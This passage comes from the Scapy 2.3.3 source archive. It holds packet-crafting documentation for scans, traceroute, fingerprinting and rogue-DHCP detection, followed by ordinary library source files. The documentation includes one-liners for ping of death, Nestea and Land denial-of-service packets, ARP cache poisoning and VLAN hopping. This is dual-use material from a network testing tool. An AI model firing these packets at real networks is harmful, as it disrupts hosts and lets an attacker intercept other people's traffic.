``RadioTap()``) by ``PrismHeader()``, or by a proprietary pseudo-layer, or even to remove it. Simple one-liners ================= ACK Scan -------- Using Scapy's powerful packet crafting facilities we can quick replicate classic TCP Scans. For example, the following string will be sent to simulate an ACK Scan:: >>> ans,unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A")) We can find unfiltered ports in answered packets:: >>> for s,r in ans: ... if s[TCP].dport == r[TCP].sport: ... print str(s[TCP].dport) + " is unfiltered" Similarly, filtered ports can be found with unanswered packets:: >>> for s in unans: ... print str(s[TCP].dport) + " is filtered" Xmas Scan --------- Xmas Scan can be launched using the following command:: >>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") ) Checking RST responses will reveal closed ports on the target. IP Scan ------- A lower level IP Scan can be used to enumerate supported protocols:: >>> ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2) ARP Ping -------- The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method:: >>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2) Answers can be reviewed with the following command:: >>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") ) Scapy also includes a built-in arping() function which performs similar to the above two commands: >>> arping("192.168.1.*") ICMP Ping --------- Classical ICMP Ping can be emulated using the following command:: >>> ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP()) Information on live hosts can be collected with the following request:: >>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") ) TCP Ping -------- In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below:: >>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") ) Any response to our probes will indicate a live host. We can collect results with the following command:: >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") ) UDP Ping -------- If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0:: >>> ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) ) Once again, results can be collected with this command: >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") ) Classical attacks ----------------- Malformed packets:: >>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP()) Ping of death (Muuahahah):: >>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) ) Nestea attack:: >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10)) >>> send(IP(dst=target, id=42, frag=48)/("X"*116)) >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224)) Land attack (designed for Microsoft Windows):: >>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135)) ARP cache poisoning ------------------- This attack prevents a client from joining the gateway by poisoning its ARP cache through a VLAN hopping attack. Classic ARP cache poisoning:: >>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1 ) ARP cache poisoning with double 802.1q encapsulation:: >>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) /ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1 ) TCP Port Scanning ----------------- Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error:: >>> res,unans = sr( IP(dst="target") /TCP(flags="S", dport=(1,1024)) ) Possible result visualization: open ports :: >>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) ) IKE Scanning ------------ We try to identify VPN concentrators by sending ISAKMP Security Association proposals and receiving the answers:: >>> res,unans = sr( IP(dst="192.168.1.*")/UDP() /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.") /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) ) Visualizing the results in a list:: >>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) ) Advanced traceroute ------------------- TCP SYN traceroute ^^^^^^^^^^^^^^^^^^ :: >>> ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S")) Results would be:: >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}")) 192.168.1.1 time-exceeded 68.86.90.162 time-exceeded 4.79.43.134 time-exceeded 4.79.43.133 time-exceeded 4.68.18.126 time-exceeded 4.68.123.38 time-exceeded 4.2.2.1 SA UDP traceroute ^^^^^^^^^^^^^^ Tracerouting an UDP application like we do with TCP is not reliable, because there's no handshake. We need to give an applicative payload (DNS, ISAKMP, NTP, etc.) to deserve an answer:: >>> res,unans = sr(IP(dst="target", ttl=(1,20)) /UDP()/DNS(qd=DNSQR(qname="test.com")) We can visualize the results as a list of routers:: >>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src)) DNS traceroute ^^^^^^^^^^^^^^ We can perform a DNS traceroute by specifying a complete packet in ``l4`` parameter of ``traceroute()`` function:: >>> ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org"))) Begin emission: ..*....******...******.***...****Finished to send 30 packets. *****...***............................... Received 75 packets, got 28 answers, remaining 2 packets 4.2.2.1:udp53 1 192.168.1.1 11 4 68.86.90.162 11 5 4.79.43.134 11 6 4.79.43.133 11 7 4.68.18.62 11 8 4.68.123.6 11 9 4.2.2.1 ... Etherleaking ------------ :: >>> sr1(IP(dst="172.16.1.232")/ICMP()) >> ICMP leaking ------------ This was a Linux 2.0 bug:: >>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP()) >>>> VLAN hopping ------------ In very specific conditions, a double 802.1q encapsulation will make a packet jump to another VLAN:: >>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP()) Wireless sniffing ----------------- The following command will display information similar to most wireless sniffers:: >>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}")) The above command will produce output similar to the one below:: 00:00:00:01:02:03 netgear 6L ESS+privacy+PBCC 11:22:33:44:55:66 wireless_100 6L short-slot+ESS+privacy 44:55:66:00:11:22 linksys 6L short-slot+ESS+privacy 12:34:56:78:90:12 NETGEAR 6L short-slot+ESS+privacy+short-preamble Recipes ======= Simplistic ARP Monitor ---------------------- This program uses the ``sniff()`` callback (paramter prn). The store parameter is set to 0 so that the ``sniff()`` function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic. :: #! /usr/bin/env python from scapy.all import * def arp_monitor_callback(pkt): if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") sniff(prn=arp_monitor_callback, filter="arp", store=0) Identifying rogue DHCP servers on your LAN ------------------------------------------- .. index:: single: DHCP Problem ^^^^^^^ You suspect that someone has installed an additional, unauthorized DHCP server on your LAN -- either unintentionally or maliciously. Thus you want to check for any active DHCP servers and identify their IP and MAC addresses. Solution ^^^^^^^^ Use Scapy to send a DHCP discover request and analyze the replies:: >>> conf.checkIPaddr = False >>> fam,hw = get_if_raw_hwaddr(conf.iface) >>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"]) >>> ans, unans = srp(dhcp_discover, multi=True) # Press CTRL-C after several seconds Begin emission: Finished to send 1 packets. .*...*.. Received 8 packets, got 2 answers, remaining 0 packets In this case we got 2 replies, so there were two active DHCP servers on the test network:: >>> ans.summarize() Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP }}} We are only interested in the MAC and IP addresses of the replies: {{{ >>> for p in ans: print p[1][Ether].src, p[1][IP].src ... 00:de:ad:be:ef:00 192.168.1.1 00:11:11:22:22:33 192.168.1.11 Discussion ^^^^^^^^^^ We specify ``multi=True`` to make Scapy wait for more answer packets after the first response is received. This is also the reason why we can't use the more convenient ``dhcp_request()`` function and have to construct the DCHP packet manually: ``dhcp_request()`` uses ``srp1()`` for sending and receiving and thus would immediately return after the first answer packet. Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don't match, we have to disable Scapy's check with ``conf.checkIPaddr = False`` before sending the stimulus. See also ^^^^^^^^ http://en.wikipedia.org/wiki/Rogue_DHCP Firewalking ----------- TTL decrementation after a filtering operation only not filtered packets generate an ICMP TTL exceeded >>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024))) >>> for s,r in ans: if r.haslayer(ICMP) and r.payload.type == 11: print s.dport Find subnets on a multi-NIC firewall only his own NIC’s IP are reachable with this TTL:: >>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP()) >>> for i in unans: print i.dst TCP Timestamp Filtering ------------------------ Problem ^^^^^^^ Many firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners. Solution ^^^^^^^^ To allow Scapy to reach target destination additional options must be used:: >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))])) Viewing packets with Wireshark ------------------------------ .. index:: single: wireshark() Problem ^^^^^^^ You have generated or sniffed some packets with Scapy and want to view them with `Wireshark `_, because of its advanced packet dissection abilities. Solution ^^^^^^^^ That's what the ``wireshark()`` function is for: >>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP() # first generate some packets >>> wireshark(packets) # show them with Wireshark Wireshark will start in the background and show your packets. Discussion ^^^^^^^^^^ The ``wireshark()`` function generates a temporary pcap-file containing your packets, starts Wireshark in the background and makes it read the file on startup. Please remember that Wireshark works with Layer 2 packets (usually called "frames"). So we had to add an ``Ether()`` header to our ICMP packets. Passing just IP packets (layer 3) to Wireshark will give strange results. You can tell Scapy where to find the Wireshark executable by changing the ``conf.prog.wireshark`` configuration setting. OS Fingerprinting ----------------- ISN ^^^ Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop:: >>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S")) Once we obtain a reasonable number of responses we can start analyzing collected data with something like this: >>> temp = 0 >>> for s,r in ans: ... temp = r[TCP].seq - temp ... print str(r[TCP].seq) + "\t+" + str(temp) ... 4278709328 +4275758673 4279655607 +3896934 4280642461 +4276745527 4281648240 +4902713 4282645099 +4277742386 4283643696 +5901310 nmap_fp ^^^^^^^ Nmap fingerprinting (the old "1st generation" one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first:: >>> load_module("nmap") If you have Nmap installed you can use it's active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by:: >>> conf.nmap_base Then you can use the ``nmap_fp()`` function which implements same probes as in Nmap's OS Detection engine:: >>> nmap_fp("192.168.1.1",oport=443,cport=1) Begin emission: .****..**Finished to send 8 packets. *................................................ Received 58 packets, got 7 answers, remaining 1 packets (1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch', 'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86) w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11']) p0f ^^^ If you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by:: >>> conf.p0f_base For example to guess OS from a single captured packet: >>> sniff(prn=prnp0f) 192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs) -> 74.125.19.104:www (distance 0) scapy-2.3.3/run_scapy000077500000000000000000000002561300136037300145660ustar00rootroot00000000000000#! /bin/sh DIR=$(dirname $0) if python --version 2>&1 | grep -q '^Python 2'; then PYTHON=python else PYTHON=python2 fi PYTHONPATH=$DIR exec $PYTHON -m scapy.__init__ scapy-2.3.3/run_scapy.bat000066400000000000000000000000731300136037300153250ustar00rootroot00000000000000@echo off set PYTHONPATH=%cd% python -m scapy.__init__ scapy-2.3.3/scapy/000077500000000000000000000000001300136037300137515ustar00rootroot00000000000000scapy-2.3.3/scapy/__init__.py000066400000000000000000000045631300136037300160720ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license from __future__ import with_statement """ Scapy: create, send, sniff, dissect and manipulate network packets. Usable either from an interactive console or as a Python library. http://www.secdev.org/projects/scapy """ import os import re import subprocess _SCAPY_PKG_DIR = os.path.dirname(__file__) def _version_from_git_describe(): """ Read the version from ``git describe``. It returns the latest tag with an optional suffix if the current directory is not exactly on the tag. Example:: $ git describe --always v2.3.2-346-g164a52c075c8 The tag prefix (``v``) and the git commit sha1 (``-g164a52c075c8``) are removed if present. If the current directory is not exactly on the tag, a ``.devN`` suffix is appended where N is the number of commits made after the last tag. Example:: >>> _version_from_git_describe() '2.3.2.dev346' """ p = subprocess.Popen(['git', 'describe', '--always'], cwd=_SCAPY_PKG_DIR, stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() if p.returncode == 0: tag = out.strip() match = re.match(r'^v?(.+?)-(\d+)-g[a-f0-9]+$', tag) if match: # remove the 'v' prefix and add a '.devN' suffix return '%s.dev%s' % (match.group(1), match.group(2)) else: # just remove the 'v' prefix return re.sub(r'^v', '', tag) else: raise subprocess.CalledProcessError(p.returncode, err) def _version(): version_file = os.path.join(_SCAPY_PKG_DIR, 'VERSION') try: tag = _version_from_git_describe() # successfully read the tag from git, write it in VERSION for # installation and/or archive generation. with open(version_file, 'w') as f: f.write(tag) return tag except: # failed to read the tag from git, try to read it from a VERSION file try: with open(version_file, 'r') as f: tag = f.read() return tag except: return 'unknown.version' VERSION = _version() if __name__ == "__main__": from scapy.main import interact interact() scapy-2.3.3/scapy/all.py000066400000000000000000000021771300136037300151020ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Aggregate top level objects from all Scapy modules. """ from scapy.base_classes import * from scapy.config import * from scapy.dadict import * from scapy.data import * from scapy.error import * from scapy.themes import * from scapy.arch import * from scapy.plist import * from scapy.fields import * from scapy.packet import * from scapy.asn1fields import * from scapy.asn1packet import * from scapy.utils import * from scapy.route import * if conf.ipv6_enabled: from scapy.utils6 import * from scapy.route6 import * from scapy.sendrecv import * from scapy.supersocket import * from scapy.volatile import * from scapy.as_resolvers import * from scapy.ansmachine import * from scapy.automaton import * from scapy.autorun import * from scapy.main import * from scapy.layers.all import * from scapy.asn1.asn1 import * from scapy.asn1.ber import * from scapy.asn1.mib import * from scapy.pipetool import * from scapy.scapypipes import * scapy-2.3.3/scapy/ansmachine.py000066400000000000000000000077351300136037300164450ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Answering machines. """ ######################## ## Answering machines ## ######################## from scapy.sendrecv import send,sendp,sniff from scapy.config import conf from scapy.error import log_interactive class ReferenceAM(type): def __new__(cls, name, bases, dct): o = super(ReferenceAM, cls).__new__(cls, name, bases, dct) if o.function_name: globals()[o.function_name] = lambda o=o,*args,**kargs: o(*args,**kargs)() return o class AnsweringMachine(object): __metaclass__ = ReferenceAM function_name = "" filter = None sniff_options = { "store":0 } sniff_options_list = [ "store", "iface", "count", "promisc", "filter", "type", "prn", "stop_filter" ] send_options = { "verbose":0 } send_options_list = ["iface", "inter", "loop", "verbose"] send_function = staticmethod(send) def __init__(self, **kargs): self.mode = 0 if self.filter: kargs.setdefault("filter",self.filter) kargs.setdefault("prn", self.reply) self.optam1 = {} self.optam2 = {} self.optam0 = {} doptsend,doptsniff = self.parse_all_options(1, kargs) self.defoptsend = self.send_options.copy() self.defoptsend.update(doptsend) self.defoptsniff = self.sniff_options.copy() self.defoptsniff.update(doptsniff) self.optsend,self.optsniff = [{},{}] def __getattr__(self, attr): for d in [self.optam2, self.optam1]: if attr in d: return d[attr] raise AttributeError,attr def __setattr__(self, attr, val): mode = self.__dict__.get("mode",0) if mode == 0: self.__dict__[attr] = val else: [self.optam1, self.optam2][mode-1][attr] = val def parse_options(self): pass def parse_all_options(self, mode, kargs): sniffopt = {} sendopt = {} for k in kargs.keys(): # use .keys(): kargs is modified in the loop if k in self.sniff_options_list: sniffopt[k] = kargs[k] if k in self.send_options_list: sendopt[k] = kargs[k] if k in self.sniff_options_list+self.send_options_list: del kargs[k] if mode != 2 or kargs: if mode == 1: self.optam0 = kargs elif mode == 2 and kargs: k = self.optam0.copy() k.update(kargs) self.parse_options(**k) kargs = k omode = self.__dict__.get("mode",0) self.__dict__["mode"] = mode self.parse_options(**kargs) self.__dict__["mode"] = omode return sendopt,sniffopt def is_request(self, req): return 1 def make_reply(self, req): return req def send_reply(self, reply): self.send_function(reply, **self.optsend) def print_reply(self, req, reply): print "%s ==> %s" % (req.summary(),reply.summary()) def reply(self, pkt): if not self.is_request(pkt): return reply = self.make_reply(pkt) self.send_reply(reply) if conf.verb >= 0: self.print_reply(pkt, reply) def run(self, *args, **kargs): log_interactive.warning("run() method deprecated. The intance is now callable") self(*args,**kargs) def __call__(self, *args, **kargs): optsend,optsniff = self.parse_all_options(2,kargs) self.optsend=self.defoptsend.copy() self.optsend.update(optsend) self.optsniff=self.defoptsniff.copy() self.optsniff.update(optsniff) try: self.sniff() except KeyboardInterrupt: print "Interrupted by user" def sniff(self): sniff(**self.optsniff) scapy-2.3.3/scapy/arch/000077500000000000000000000000001300136037300146665ustar00rootroot00000000000000scapy-2.3.3/scapy/arch/__init__.py000066400000000000000000000061221300136037300170000ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Operating system specific functionality. """ import socket from scapy.arch.consts import LINUX, OPENBSD, FREEBSD, NETBSD, DARWIN, \ SOLARIS, WINDOWS, BSD, X86_64, ARM_64, LOOPBACK_NAME from scapy.error import * import scapy.config from scapy.pton_ntop import inet_pton try: from matplotlib import get_backend as matplotlib_get_backend import matplotlib.pyplot as plt MATPLOTLIB = 1 if "inline" in matplotlib_get_backend(): MATPLOTLIB_INLINED = 1 else: MATPLOTLIB_INLINED = 0 MATPLOTLIB_DEFAULT_PLOT_KARGS = {"marker": "+"} # RuntimeError to catch gtk "Cannot open display" error except (ImportError, RuntimeError): plt = None MATPLOTLIB = 0 MATPLOTLIB_INLINED = 0 MATPLOTLIB_DEFAULT_PLOT_KARGS = dict() log_loading.info("Can't import matplotlib. Won't be able to plot.") try: import pyx PYX=1 except ImportError: log_loading.info("Can't import PyX. Won't be able to use psdump() or pdfdump().") PYX=0 def str2mac(s): return ("%02x:"*6)[:-1] % tuple(map(ord, s)) def get_if_addr(iff): return socket.inet_ntoa(get_if_raw_addr(iff)) def get_if_hwaddr(iff): addrfamily, mac = get_if_raw_hwaddr(iff) if addrfamily in [ARPHDR_ETHER,ARPHDR_LOOPBACK]: return str2mac(mac) else: raise Scapy_Exception("Unsupported address family (%i) for interface [%s]" % (addrfamily,iff)) # Next step is to import following architecture specific functions: # def get_if_raw_hwaddr(iff) # def get_if_raw_addr(iff): # def get_if_list(): # def get_working_if(): # def attach_filter(s, filter, iface): # def set_promisc(s,iff,val=1): # def read_routes(): # def get_if(iff,cmd): # def get_if_index(iff): if LINUX: from scapy.arch.linux import * if scapy.config.conf.use_pcap or scapy.config.conf.use_dnet: from scapy.arch.pcapdnet import * elif BSD: from scapy.arch.unix import read_routes, read_routes6, in6_getifaddr scapy.config.conf.use_pcap = True scapy.config.conf.use_dnet = True from scapy.arch.pcapdnet import * elif SOLARIS: from scapy.arch.solaris import * elif WINDOWS: from scapy.arch.windows import * from scapy.arch.windows.compatibility import * if scapy.config.conf.iface is None: scapy.config.conf.iface = LOOPBACK_NAME def get_if_addr6(iff): """ Returns the main global unicast address associated with provided interface, in human readable form. If no global address is found, None is returned. """ for x in in6_getifaddr(): if x[2] == iff and x[1] == IPV6_ADDR_GLOBAL: return x[0] return None def get_if_raw_addr6(iff): """ Returns the main global unicast address associated with provided interface, in network format. If no global address is found, None is returned. """ ip6= get_if_addr6(iff) if ip6 is not None: return inet_pton(socket.AF_INET6, ip6) return None scapy-2.3.3/scapy/arch/common.py000066400000000000000000000007401300136037300165310ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Functions common to different architectures """ import socket from fcntl import ioctl import struct def get_if(iff, cmd): """Ease SIOCGIF* ioctl calls""" sck = socket.socket() ifreq = ioctl(sck, cmd, struct.pack("16s16x", iff)) sck.close() return ifreq scapy-2.3.3/scapy/arch/consts.py000066400000000000000000000013411300136037300165500ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license import os from sys import platform LINUX = platform.startswith("linux") OPENBSD = platform.startswith("openbsd") FREEBSD = "freebsd" in platform NETBSD = platform.startswith("netbsd") DARWIN = platform.startswith("darwin") SOLARIS = platform.startswith("sunos") WINDOWS = platform.startswith("win32") BSD = DARWIN or FREEBSD or OPENBSD or NETBSD if WINDOWS: X86_64 = False ARM_64 = False else: uname = os.uname() X86_64 = uname[4] == 'x86_64' ARM_64 = uname[4] == 'aarch64' LOOPBACK_NAME = "lo" if LINUX else "lo0" scapy-2.3.3/scapy/arch/linux.py000066400000000000000000000436561300136037300164150ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Linux specific functions. """ from __future__ import with_statement import sys,os,struct,socket,time from select import select from fcntl import ioctl from scapy.arch.consts import LOOPBACK_NAME import scapy.utils import scapy.utils6 from scapy.packet import Packet, Padding from scapy.config import conf from scapy.data import * from scapy.supersocket import SuperSocket import scapy.arch from scapy.error import warning, Scapy_Exception, log_interactive, log_loading from scapy.arch.common import get_if # From bits/ioctls.h SIOCGIFHWADDR = 0x8927 # Get hardware address SIOCGIFADDR = 0x8915 # get PA address SIOCGIFNETMASK = 0x891b # get network PA mask SIOCGIFNAME = 0x8910 # get iface name SIOCSIFLINK = 0x8911 # set iface channel SIOCGIFCONF = 0x8912 # get iface list SIOCGIFFLAGS = 0x8913 # get flags SIOCSIFFLAGS = 0x8914 # set flags SIOCGIFINDEX = 0x8933 # name -> if_index mapping SIOCGIFCOUNT = 0x8938 # get number of devices SIOCGSTAMP = 0x8906 # get packet timestamp (as a timeval) # From if.h IFF_UP = 0x1 # Interface is up. IFF_BROADCAST = 0x2 # Broadcast address valid. IFF_DEBUG = 0x4 # Turn on debugging. IFF_LOOPBACK = 0x8 # Is a loopback net. IFF_POINTOPOINT = 0x10 # Interface is point-to-point link. IFF_NOTRAILERS = 0x20 # Avoid use of trailers. IFF_RUNNING = 0x40 # Resources allocated. IFF_NOARP = 0x80 # No address resolution protocol. IFF_PROMISC = 0x100 # Receive all packets. # From netpacket/packet.h PACKET_ADD_MEMBERSHIP = 1 PACKET_DROP_MEMBERSHIP = 2 PACKET_RECV_OUTPUT = 3 PACKET_RX_RING = 5 PACKET_STATISTICS = 6 PACKET_MR_MULTICAST = 0 PACKET_MR_PROMISC = 1 PACKET_MR_ALLMULTI = 2 # From bits/socket.h SOL_PACKET = 263 # From asm/socket.h SO_ATTACH_FILTER = 26 SOL_SOCKET = 1 # From net/route.h RTF_UP = 0x0001 # Route usable RTF_REJECT = 0x0200 # From if_packet.h PACKET_HOST = 0 # To us PACKET_BROADCAST = 1 # To all PACKET_MULTICAST = 2 # To group PACKET_OTHERHOST = 3 # To someone else PACKET_OUTGOING = 4 # Outgoing of any type PACKET_LOOPBACK = 5 # MC/BRD frame looped back PACKET_USER = 6 # To user space PACKET_KERNEL = 7 # To kernel space PACKET_FASTROUTE = 6 # Fastrouted frame # Unused, PACKET_FASTROUTE and PACKET_LOOPBACK are invisible to user space with os.popen("%s -V 2> /dev/null" % conf.prog.tcpdump) as _f: if _f.close() >> 8 == 0x7f: log_loading.warning("Failed to execute tcpdump. Check it is installed and in the PATH") TCPDUMP=0 else: TCPDUMP=1 del(_f) def get_if_raw_hwaddr(iff): return struct.unpack("16xh6s8x",get_if(iff,SIOCGIFHWADDR)) def get_if_raw_addr(iff): try: return get_if(iff, SIOCGIFADDR)[20:24] except IOError: return "\0\0\0\0" def get_if_list(): try: f=open("/proc/net/dev","r") except IOError: warning("Can't open /proc/net/dev !") return [] lst = [] f.readline() f.readline() for l in f: lst.append(l.split(":")[0].strip()) return lst def get_working_if(): for i in get_if_list(): if i == LOOPBACK_NAME: continue ifflags = struct.unpack("16xH14x",get_if(i,SIOCGIFFLAGS))[0] if ifflags & IFF_UP: return i return LOOPBACK_NAME def attach_filter(s, bpf_filter, iface): # XXX We generate the filter on the interface conf.iface # because tcpdump open the "any" interface and ppp interfaces # in cooked mode. As we use them in raw mode, the filter will not # work... one solution could be to use "any" interface and translate # the filter from cooked mode to raw mode # mode if not TCPDUMP: return try: f = os.popen("%s -i %s -ddd -s 1600 '%s'" % ( conf.prog.tcpdump, conf.iface if iface is None else iface, bpf_filter, )) except OSError,msg: log_interactive.warning("Failed to execute tcpdump: (%s)") return lines = f.readlines() if f.close(): raise Scapy_Exception("Filter parse error") nb = int(lines[0]) bpf = "" for l in lines[1:]: bpf += struct.pack("HBBI",*map(long,l.split())) # XXX. Argl! We need to give the kernel a pointer on the BPF, # python object header seems to be 20 bytes. 36 bytes for x86 64bits arch. if scapy.arch.X86_64 or scapy.arch.ARM_64: bpfh = struct.pack("HL", nb, id(bpf)+36) else: bpfh = struct.pack("HI", nb, id(bpf)+20) s.setsockopt(SOL_SOCKET, SO_ATTACH_FILTER, bpfh) def set_promisc(s,iff,val=1): mreq = struct.pack("IHH8s", get_if_index(iff), PACKET_MR_PROMISC, 0, "") if val: cmd = PACKET_ADD_MEMBERSHIP else: cmd = PACKET_DROP_MEMBERSHIP s.setsockopt(SOL_PACKET, cmd, mreq) def read_routes(): try: f=open("/proc/net/route","r") except IOError: warning("Can't open /proc/net/route !") return [] routes = [] s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ifreq = ioctl(s, SIOCGIFADDR,struct.pack("16s16x",LOOPBACK_NAME)) addrfamily = struct.unpack("h",ifreq[16:18])[0] if addrfamily == socket.AF_INET: ifreq2 = ioctl(s, SIOCGIFNETMASK,struct.pack("16s16x",LOOPBACK_NAME)) msk = socket.ntohl(struct.unpack("I",ifreq2[20:24])[0]) dst = socket.ntohl(struct.unpack("I",ifreq[20:24])[0]) & msk ifaddr = scapy.utils.inet_ntoa(ifreq[20:24]) routes.append((dst, msk, "0.0.0.0", LOOPBACK_NAME, ifaddr)) else: warning("Interface lo: unkown address family (%i)"% addrfamily) for l in f.readlines()[1:]: iff,dst,gw,flags,x,x,x,msk,x,x,x = l.split() flags = int(flags,16) if flags & RTF_UP == 0: continue if flags & RTF_REJECT: continue try: ifreq = ioctl(s, SIOCGIFADDR,struct.pack("16s16x",iff)) except IOError: # interface is present in routing tables but does not have any assigned IP ifaddr="0.0.0.0" else: addrfamily = struct.unpack("h",ifreq[16:18])[0] if addrfamily == socket.AF_INET: ifaddr = scapy.utils.inet_ntoa(ifreq[20:24]) else: warning("Interface %s: unkown address family (%i)"%(iff, addrfamily)) continue routes.append((socket.htonl(long(dst,16))&0xffffffffL, socket.htonl(long(msk,16))&0xffffffffL, scapy.utils.inet_ntoa(struct.pack("I",long(gw,16))), iff, ifaddr)) f.close() return routes ############ ### IPv6 ### ############ def in6_getifaddr(): """ Returns a list of 3-tuples of the form (addr, scope, iface) where 'addr' is the address of scope 'scope' associated to the interface 'ifcace'. This is the list of all addresses of all interfaces available on the system. """ ret = [] try: f = open("/proc/net/if_inet6","r") except IOError, err: return ret l = f.readlines() for i in l: # addr, index, plen, scope, flags, ifname tmp = i.split() addr = struct.unpack('4s4s4s4s4s4s4s4s', tmp[0]) addr = scapy.utils6.in6_ptop(':'.join(addr)) ret.append((addr, int(tmp[3], 16), tmp[5])) # (addr, scope, iface) return ret def read_routes6(): try: f = open("/proc/net/ipv6_route","r") except IOError, err: return [] # 1. destination network # 2. destination prefix length # 3. source network displayed # 4. source prefix length # 5. next hop # 6. metric # 7. reference counter (?!?) # 8. use counter (?!?) # 9. flags # 10. device name routes = [] def proc2r(p): ret = struct.unpack('4s4s4s4s4s4s4s4s', p) ret = ':'.join(ret) return scapy.utils6.in6_ptop(ret) lifaddr = in6_getifaddr() for l in f.readlines(): d,dp,s,sp,nh,m,rc,us,fl,dev = l.split() fl = int(fl, 16) if fl & RTF_UP == 0: continue if fl & RTF_REJECT: continue d = proc2r(d) ; dp = int(dp, 16) s = proc2r(s) ; sp = int(sp, 16) nh = proc2r(nh) cset = [] # candidate set (possible source addresses) if dev == LOOPBACK_NAME: if d == '::': continue cset = ['::1'] else: devaddrs = filter(lambda x: x[2] == dev, lifaddr) cset = 